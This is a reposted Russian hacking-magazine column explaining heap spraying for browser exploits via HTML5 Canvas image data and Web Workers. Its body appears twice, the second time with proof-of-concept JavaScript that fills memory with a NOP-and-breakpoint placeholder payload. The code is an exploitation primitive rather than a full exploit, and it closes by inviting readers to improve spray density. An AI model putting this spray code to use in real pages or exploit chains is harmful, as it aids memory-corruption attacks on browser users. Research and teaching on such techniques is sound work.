Трудно не заметить, что в наше время очень многие занимаются секурити-темой. Очевидно, что эта движуха уже вышла за рамки андерграудного угара (хотя и там еще полно молодцов) и хлещет новыми темами и фичами, но уже по-взрослому — теперь это называется исследованиями. В связи с чем ваш покорный слуга, с позволения доблестной редакции, решил завести колонку, где будет освещать такие вот телодвижения сцены, а также излагать свои скромные мысли по этому поводу.
HEAP SPRAY НА HTML5
При создании эксплойтов для браузера или его плагинов часто возникает необходимость выполнить так называемые Heap Spray. Эта техника позволяет заполнить память процесса заранее подготовленными данными, чтобы при эксплуатации уязвимости их можно было использовать. Например, там можно расположить сам шелл-код и после атаки выполнить переход на него (Heap Spray дает возможность заполнить память так, что мы можем предположить то место в памяти, где шелл-код будет находиться). Кроме того, эта техника используется для эксплуатации таких уязвимостей, как Heap Overflow и Use-after-free. Последние лет десять для этой техники использовали обыкновенный JavaScript. Грубо говоря, просто создавали большой массив строк в памяти. Но разработчики браузеров, а также ОС (мы говорим о Microsoft) не дремлют и придумывают различные хитрости, чтобы помешать нам заполнять память своими данными. В этом году на конференции EuSecWest исследователи Федерико Муттис и Энибал Сакко опубликовали еще пару вариантов организации Heap Spray без использования JS-строк. На самом деле одна из представленных идей давно уже на вооружении у баг-хантеров, но теперь она официально опубликована, так что о ней мы и поговорим...
ИДЕЯ
Идея любого Heap Spray проста — сделать так, чтобы память быстро наполнилась данными, которые контролирует атакующий. Если раньше этого добивались, создавая большие массивы со строками в JavaScript или даже ActionScript, то теперь нужно быть хитрее. Очевидно, чтобы заспамить память, много ума не надо, но нужно сделать это так, чтобы еще и работало быстро. Так, одной из идей было использование BMP-картинок, которые бы подгружались в браузер. Что логично, содержимое BMP — шелл-код. Если таких картинок грузить много, то они будут располагаться в памяти одна за другой, таким образом реализуя Heap Spray. Только есть одна проблема: по сети это может занять какое-то время, а атака, которая идет более 20 секунд, — не хорошая атака, а длительная и палевная. При этом размер картинки тоже должен быть правильным: слишком маленькая — долго спамить, слишком большая — будут «просветы» при заполнении (то есть блоки будут сидеть в памяти неплотно, что снижает вероятность «угадывания»). Поэтому картинка должна быть равна размеру выделяемой страницы, например 0x00010000. С учетом заголовка кучи и заголовка ВМР это позволит нам с точностью до байта предсказывать значения наших данных по выбранному адресу памяти.
HTML5
Теперь вернемся к нашим исследователям. Как уже было сказано, гонять BMP по сети — дело неблагодарное, поэтому очевидно, что эту идею можно развить, но гадить в памяти без загрузки нового контента по сети. На помощь приходит HTML5, который научился работать с изображениями и дает это делать всем желающим! Да, да, мы говорим о Canvas. Идея проста:
PoC
Видно, что данный пример работает, но все же не так быстро, как старый добрый Heap Spray на чистом JavaScript. Поэтому исследователи предложили использовать еще одну фичу: Web Workers. Данный класс позволяет реализовать в контексте вкладки браузера многопоточное выполнение задач (JavaScript-кода, например). Я немного изменил код с презентации (чтобы он хоть както заработал, а то любят выкладывать нерабочий код некоторые...), и у меня получилось примерно то, что хотели показать авторы:
worker.js
Мы выносим «поток» копирования пейлоада в данные изображения. Именно этот цикл занимает основное время выполнения спрея.
main.html
Основной код точно такой же, только копирование пейлоада вынесено в воркеры.
Единственная особенность, которая возникает при данном примере, — плотность спрея высока только в средне-нижней части карты памяти. Это стоит учитывать для планирования стабильных эксплойтов. Тем не менее тема раскрыта, но не до конца: что в первом, что во втором примере есть проблемы с плотностью (тестировалось в Firefox). Предлагаю читателю самостоятельно улучшить показатели Heap Spray, манипулируя размером изображения или с помощью иных хитростей. Главное ведь идея
.
Источник: xakep.ru
Автор: Алексей Синцов
HEAP SPRAY НА HTML5
При создании эксплойтов для браузера или его плагинов часто возникает необходимость выполнить так называемые Heap Spray. Эта техника позволяет заполнить память процесса заранее подготовленными данными, чтобы при эксплуатации уязвимости их можно было использовать. Например, там можно расположить сам шелл-код и после атаки выполнить переход на него (Heap Spray дает возможность заполнить память так, что мы можем предположить то место в памяти, где шелл-код будет находиться). Кроме того, эта техника используется для эксплуатации таких уязвимостей, как Heap Overflow и Use-after-free. Последние лет десять для этой техники использовали обыкновенный JavaScript. Грубо говоря, просто создавали большой массив строк в памяти. Но разработчики браузеров, а также ОС (мы говорим о Microsoft) не дремлют и придумывают различные хитрости, чтобы помешать нам заполнять память своими данными. В этом году на конференции EuSecWest исследователи Федерико Муттис и Энибал Сакко опубликовали еще пару вариантов организации Heap Spray без использования JS-строк. На самом деле одна из представленных идей давно уже на вооружении у баг-хантеров, но теперь она официально опубликована, так что о ней мы и поговорим...
ИДЕЯ
Идея любого Heap Spray проста — сделать так, чтобы память быстро наполнилась данными, которые контролирует атакующий. Если раньше этого добивались, создавая большие массивы со строками в JavaScript или даже ActionScript, то теперь нужно быть хитрее. Очевидно, чтобы заспамить память, много ума не надо, но нужно сделать это так, чтобы еще и работало быстро. Так, одной из идей было использование BMP-картинок, которые бы подгружались в браузер. Что логично, содержимое BMP — шелл-код. Если таких картинок грузить много, то они будут располагаться в памяти одна за другой, таким образом реализуя Heap Spray. Только есть одна проблема: по сети это может занять какое-то время, а атака, которая идет более 20 секунд, — не хорошая атака, а длительная и палевная. При этом размер картинки тоже должен быть правильным: слишком маленькая — долго спамить, слишком большая — будут «просветы» при заполнении (то есть блоки будут сидеть в памяти неплотно, что снижает вероятность «угадывания»). Поэтому картинка должна быть равна размеру выделяемой страницы, например 0x00010000. С учетом заголовка кучи и заголовка ВМР это позволит нам с точностью до байта предсказывать значения наших данных по выбранному адресу памяти.
HTML5
Теперь вернемся к нашим исследователям. Как уже было сказано, гонять BMP по сети — дело неблагодарное, поэтому очевидно, что эту идею можно развить, но гадить в памяти без загрузки нового контента по сети. На помощь приходит HTML5, который научился работать с изображениями и дает это делать всем желающим! Да, да, мы говорим о Canvas. Идея проста:
- Создаем объект canvas.
- Определяем размер.
- Получаем 2D-контекст.
- Создаем изображения, используя RGBA.
- Через RGBA заносим пейлоад.
- Тиражируем!
PoC
JavaScript:
<!DOCTYPE html>
<script>
var memory = Array();
function fill(imgd, payload) {
for(var i = 0; i < imgd.data.length; i++) {
imgd.data[i] = payload[i % payload.length];
};
};
window.onload = function() {
var payload = [0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0xCC];
for(var i = 0; i < 100; i++) {
var elem = document.createElement('canvas');
elem.width = 256;
elem.height = 256;
var context = elem.getContext('2d');
var imgd = context.createImageData(256, 256);
fill(imgd, payload);
memory[i] = imgd;
};
}; </script>Видно, что данный пример работает, но все же не так быстро, как старый добрый Heap Spray на чистом JavaScript. Поэтому исследователи предложили использовать еще одну фичу: Web Workers. Данный класс позволяет реализовать в контексте вкладки браузера многопоточное выполнение задач (JavaScript-кода, например). Я немного изменил код с презентации (чтобы он хоть както заработал, а то любят выкладывать нерабочий код некоторые...), и у меня получилось примерно то, что хотели показать авторы:
worker.js
JavaScript:
onmessage = function(e) {
var payload = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0xCC];
var imagedata = e.data;
for(var i = 0; i < imagedata.data.length; i++) {
imagedata.data[i] = payload[i % payload.length];
};
postMessage(imagedata);
};Мы выносим «поток» копирования пейлоада в данные изображения. Именно этот цикл занимает основное время выполнения спрея.
main.html
JavaScript:
var memory = Array();
window.onload = function() {
var workers = Array();
var MAX_WORKERS = 5;
for(var i = 0; i < 2000; i++) {
var elem = document.createElement('canvas');
elem.width = 256;
elem.height = 256;
var context = elem.getContext('2d');
var imgd = context.createImageData(256, 256);
if(i < MAX_WORKERS) {
workers[i] = new Worker('worker.js');
};
workers[i % MAX_WORKERS].postMessage(imgd);
workers[i % MAX_WORKERS].onmessage =
function(e) {
memory[i] = e.data;
};
};
};Основной код точно такой же, только копирование пейлоада вынесено в воркеры.
Единственная особенность, которая возникает при данном примере, — плотность спрея высока только в средне-нижней части карты памяти. Это стоит учитывать для планирования стабильных эксплойтов. Тем не менее тема раскрыта, но не до конца: что в первом, что во втором примере есть проблемы с плотностью (тестировалось в Firefox). Предлагаю читателю самостоятельно улучшить показатели Heap Spray, манипулируя размером изображения или с помощью иных хитростей. Главное ведь идея
.Источник: xakep.ru
Автор: Алексей Синцов